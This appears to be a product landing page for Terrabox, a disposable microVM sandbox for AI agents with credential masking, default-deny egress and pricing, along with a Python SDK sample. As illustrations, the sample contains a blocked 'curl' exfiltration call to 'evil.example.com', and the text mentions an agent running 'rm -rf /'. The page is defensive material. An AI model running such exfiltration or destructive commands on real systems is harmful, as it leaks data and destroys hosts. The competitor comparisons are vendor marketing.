Disposable sandboxes for AI agents.

Give an agent a real computer — file system, shell, Python — that boots in milliseconds and is thrown away after the run. If it hallucinates a rm -rf /, only the disposable guest dies. The host is untouched.

RUNTIMEFIRECRACKER_/_GVISOR
CONFIDENTIALTDX_IN_COMMISSIONING
EGRESSDEFAULT_DENY_+_L7_BROKER
SECRETSNEVER_IN_GUEST

Three enforcement layers.

Every agent run is contained, credential-masked, and governed at the boundary — under one API.

microvm_runtime

Disposable MicroVM

A hardware-virtualised Firecracker guest per run. Terminal, filesystem, and code execution, isolated behind a KVM boundary and discarded on exit.

Boundary
Per-run hardware VM
Blast radius
The disposable guest only
iam_vault

Token masking

The agent never holds your real secrets. Scoped, short-lived credentials are injected at the egress boundary — so a prompt-injection attack has nothing to steal.

In guest
No master secrets
Injected
Ephemeral, per-request
governance_firewall

Governed egress

The sandbox gets no default route — the only reachable address is a per-sandbox proxy. Off-allow-list traffic is dropped at the network; every allowed request is brokered, credential-injected, and logged.

Default
Deny all egress
Roadmap
eBPF syscall interception

Where Terrabox sits.

A governed runtime where agents execute — disposable isolation, identity and secrets held outside the agent, egress governed today, and a hardware-attested confidential tier being commissioned on top. Few ship that combination.

terrabox

Governed agent sandbox

Disposable isolation, a non-human identity vault, and governed egress today — as one runtime. A hardware-attested confidential tier (Intel TDX) is in commissioning: when enabled, the operator is excluded and the customer can verify it with an attestation quote.

Live
Isolation + identity + governance
In commissioning
Confidentiality + attestation quote
dev_sandboxes

Developer sandboxes

E2B, Modal, and Daytona give fast, disposable isolation. But the operator can still see inside, there is no hardware attestation, and no vault holding the agent's credentials outside the guest.

Gives
Isolation
Missing
Confidentiality, attestation, identity vault
sovereign_cloud

Sovereign / confidential clouds

Confidential-compute clouds keep the operator out. But they are not agent-native: no per-run disposable runtime, no non-human identity vault, no egress governance around the workload.

Gives
Confidentiality
Missing
Agent runtime, identity, governance

One API call to a governed computer.

Create a sandbox, run code under policy, read the governance event stream, throw it away. confidential: true requests the confidential-compute tier (Intel TDX) — in commissioning, so it's refused until that tier is live on production hardware.

pip install terrabox-sandbox npm i @terrabox/sandbox policy: iam + egress, per sandbox
from terrabox_sdk import TerraboxClient

client = TerraboxClient("https://api.terrabox.example", api_key="tbx_live_...")

sandbox = client.create_sandbox(
    tenant_id="…",
    template="python",
    confidential=True,                       # confidential tier (TDX) — in commissioning, not yet live
    iam_policy={
        "grants": [{
            "service": "api.github.com",
            "allowed_resource": "repo:acme/widgets",
            "scopes": ["contents:read"],
            "token_ttl_seconds": 300,
        }],
        "never_expose": ["GITHUB_MASTER_PAT"],
    },
    egress_policy={"default_deny": True, "allowed_domains": ["api.github.com"]},
)

# curl to an allowed host → ephemeral token injected at the boundary
client.exec_in_sandbox(sandbox["sandbox_id"],
                       command="curl https://api.github.com/repos/acme/widgets")

# anything off the allow-list is dropped at the network boundary
client.exec_in_sandbox(sandbox["sandbox_id"],
                       command="curl https://evil.example.com/exfil")   # egress_blocked

events = client.sandbox_events(sandbox["sandbox_id"])   # signed governance stream
client.destroy_sandbox(sandbox["sandbox_id"])

Priced like infrastructure.

Metered for developers; single-tenant flat fee where sovereignty and confidential execution matter.

Sandbox runtime
Per MicroVM-second of execution
Governance inspection
Per 1,000 requests brokered at the egress boundary
Dedicated / sovereign
Single-tenant deployment, annual — confidential-VM option as that tier is commissioned